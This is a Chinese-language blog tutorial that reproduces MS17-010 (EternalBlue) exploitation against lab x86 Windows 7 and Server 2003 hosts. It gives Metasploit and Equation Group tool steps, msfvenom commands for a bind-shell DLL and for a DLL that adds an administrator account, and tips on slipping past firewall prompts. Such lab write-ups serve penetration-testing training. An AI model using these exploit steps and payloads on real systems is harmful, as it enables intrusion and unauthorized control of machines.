长亭百川云 - 文章详情

抄个冷板凳---x86架构MS-17010漏洞的多种利用方法复现

Vlan911

96

2024-04-12

前言:

此次共涉及5个不同版本的x86架构的主机:

Windows 7 家庭高级版6.1(7600)- -- 192.168.50.165
Windows 7 家庭高级版6.1(7601)- -- 192.168.50.38
Windows 7 企业版6.1(7600)--- 192.168.50.188
WindowsServer 2003 5.2(3790) sp2--- 192.168.50.199
Windows 7 家庭版6.1(7601) --- 192.168.50.76

众所周知,msfconsole是一款神器的工具,里面具备了市面上绝大多数的payload,而在往常的ms17010漏洞最常见的四个payload如下:

漏洞检测payload:

auxiliary/scanner/smb/smb_ms17_010
x64架构漏洞利用payload:
exploit/windows/smb/ms17_010_eternalblue
x86架构漏洞利用payload:

exploit/windows/smb/ms17_010_psexec

x86/x64架构漏洞探测payload:

auxiliary/admin/smb/ms17_010_command  
以上payload为msfconsole自带的脚本,但是某些时候这几种payload都不是很适用的时候,可能就需要我们去另辟蹊径了,所以今天笔者为大家带来了几种好用的解决方案,本次环境均为本地搭建,仅作为实验教学使用

0x01  Windows 7 家庭高级版6.1(7600)- -- 192.168.50.165

首先我们看一下第一台试验目标的systeminfo信息

我们可以先利用auxiliary/scanner/smb/smb_ms17_010 进行探测

可以确定,ms17010是存在的,接着我们尝试一下msfconsole的exploit/windows/smb/ms17_010_eternalblue

此时提示,由于该模块的payload仅仅适用于x64架构,所以无法进行攻击,那么我们可以尝试下下一个

可以看见,攻击失败了,我们尝试下一个
auxiliary/admin/smb/ms17_010_command 

依然是失败,那么此时,漏洞明确存在的情况下,我们应该如何对目标系统进行测试?
这里介绍一款工具,该工具为影子经纪人在2017年放出来的方程式工具,目前该工具依然可以从github下载,需要提到的是,adb123表哥也做了一个图形化的工具
链接: https://github.com/abc123info/EquationToolsGUI
这里先不使用图形化工具,最后会用图形化工具,这里首先使用原版的工具进行演示

该工具需要在x86架构的机器使用,并且需要安装2.6.6版本的python以及pywin32-221.win32-py2.6 ,安装教程请自行百度

方程式利用方法:

fb.py
use Smbtouch
set TargetIp 192.168.50.165
execute

Smbtouch模块为漏洞检测模块,可以看到,成功的检测出了永恒之蓝漏洞;接着直接进行漏洞利用

use Eternalblue

一路默认即可,如果发现targetip不对,可以set一下

而后进行dou模块,该模块是用来下攻击脚本的

use Doublepulsar

前面都是默认,需要注意的是,在Function这里的时候,需要选择RunDLL选项,Eternalblue漏洞模块不需要下shellcode.bin后门

该工具不能直接获取shell,所以需要其他的shell加载器对shell进行加载,同时,该工具漏洞利用方式为dll注入,所以需要注意系统的架构以及注入的进程,经过测试,若是windows7系统x86架构,注入lsass.exe的话,主机会在1分钟后重启,导致shell不上线或者丢失,正向连接马子在方程式工具中,是可以开启目标机器监听端口,但是会被rundll32.exe检测到,防火墙会进行拦截,导致即使开放了监听端口而无法上线的情况;
我们首先看一下正向连接小马,至于为什么用正向,因为在内网环境了,有的时候客户的机器是不出网的,如果使用反向小马,是不能shell回连到我们外边的机器的。
使用正向payload设置x86.dll 小马

msfvenom -p windows/meterpreter/bind_tcp LPORT=1003 -f dll > x86.dll

将生成的x86.dll文件移动到方程式攻击的设备上,而后设置好上传dll的路径

同时,msf开启监听

而后目标设备就要重启了,同时dll注入成功,端口1003被开放

可以看见,虽然端口开放了,但是并没有上线,因为防火墙给拦住了,后续大家可以看到为什么会被拦截

换一个打法

msfvenom -p windows/exec CMD='cmd.exe /k "net user admin01 123456 /add && net localgroup administrators admin01 /add"' EXITFUNC=none -f dll > /tmp/x86_xxx.dll

这个payload的目的是创建用户,这样即使是上不了线,但是可以创建用户,或者执行其他命令,这里创建用户是因为简单,大家在实际应用当中很有可能会遇到3389没有开放的情况,这个时候就需要替换命令,或者是利用创建的新用户,通过smb协议去弹计划任务上线,或者利用impacket工具上线

攻击之前

攻击之后

可以看到,即便计算机重启了,但是用户依然创建成功了,所以大家在工作的时候要慎用,以免影响客户正常业务
如果我们将注入的进行修改为explorer.exe呢

此时并没有达到上线目的,别急,清先往下看

kali上线
kali安装wine32

apt-get install wine32

报错了就执行下一个

dpkg --add-architecture i386 && apt-get update && apt-get install wine32

检测安装状态:

wine --version
wine cmd.exe

下载专用攻击模块

git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit

下载下来之后解压,并执行如下命令

cd Eternalblue-Doublepulsar-Metasploit/

 将下载的模块导入到msf的文件夹

cp -r deps/ eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb

确保deps目录不能空,一会要用

msfconsole
search eternalblue
  use 0

set DOUBLEPULSARPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
set ETERNALBLUEPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
set PROCESSINJECT explorer.exe
set TARGETARCHITECTURE  x86
set rhost 192.168.50.165

run

这里其实就是防火墙拦截了,如果不允许,端口会开放成功,但是kali却怎么也连不上
同意之后,才可以连接shell,
有可能第一次run会失败,目标机器可能会弹explorer.exe信息,不用理会,重新run就行

至此,第一台结束,我们看一下第二台
0x02 Windows 7 家庭高级版6.1(7601)- -- 192.168.50.38

其实这台机器和第一台几乎没有任何区别,只不过多了几个补丁,这里用他的目的是为了演示,如果我们拒绝了rundll32.exe的网络请求,会怎么样

这里我们可以继续利用kali,然后假设我们不允许rundll32.exe,点击取消按钮,我们此时发现,端口依然会开放10001,但是kali死活连接不上去

但是如果此时,将payload改回反向连接

set payload windows/meterpreter/reverse_tcp
run

由于第一台与第二台没啥区别,仅仅是为了演示如何不触发弹窗上线,所以不演示fb工具

0x03 Windows 7 企业版6.1(7600)--- 192.168.50.188

首先使用fb工具(方程式工具)进行攻击,但是我们发现,无论怎么打都是失败

而后利用msf工具的dou模块进行攻击,方式与第一台步骤是一样的
正向连接,一样会导致目标机器弹窗,我们直接关闭即可,不给他权限

而后是msf反向打,反向打是不会告警的,上线成功

该机器演示的目的,是为了告诉大家,方程式工具只能检测到ms17010漏洞,但是无法攻击成功的时候,我们可以利用我们第一个方法来拿到shell,由此可见,msfconsole攻击模块似乎更加好用

0x04 WindowsServer 2003 5.2(3790) sp2--- 192.168.50.199

该机器与win7 x86明显有差异,1-3实验,Doublepulsar模块都可以利用成功,但是针对这台windows server 2003而言,却攻击失败了

但是此环境方程式工具却可以利用成功

此时永恒之蓝就不好使了,上其他的科技与狠活

use Doublepulsar

生成shellcode.bin后门
前面所有的都是默认的

然后选择0,OutputInstall ,并设置路径,这里路径设置成 c:\temp\shellcode.bin

执行成功后,会在该路径下成功一个shellcode.bin文件,该文件为后门文件

use ETERNALROMANCE

该模块是用来进行漏洞利用,将生成的shellcode.bin文件打到目标系统里

只需要填写shellcode.bin文件的位置即可

其余的通通默认即可

use Doublepulsar

攻击

这里填写生成的正向连接的x86.dll文件路径,这个文件与上文的都是同一个

msf上线

use exploit/multi/handler
 set payload windows/meterpreter/bind_tcp
set lport 1003
set rhost 192.168.50.199
run

我们可以发现,这里使用正向连接,目标机器不会触发告警,防火墙不会拦截,直接上线,且不需要修改explorer.exe注入进程,设备也不会重启、蓝屏

该实验可以用kali的另一种玩法

search ms17
use 1
set payload payload windows/meterpreter/bind_tcp
set rhost 192.168.50.199

run

最高权限

0x05 Windows 7 家庭版6.1(7601) --- 192.168.50.76

没有发现17010相关漏洞

最后针对windows server 2003 sp2 x86的实验目标,演示一下abc123表哥的神器,解放双手

使用正向payload设置x86.dll 小马

msfvenom -p windows/meterpreter/bind_tcp LPORT=1003 -f dll > x86.dll

使用msfconsole正向监听

use exploit/multi/handler
 set payload windows/meterpreter/bind_tcp
set lport 1003
set rhost 192.168.50.205
run

将生成的x86.dll文件存放在图形化工具的根目录下,并将原有的x86.dll重命名

先点击生成bin,而后点击漏洞利用,最后点击dll注入

攻击成功后,发现msf上线

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2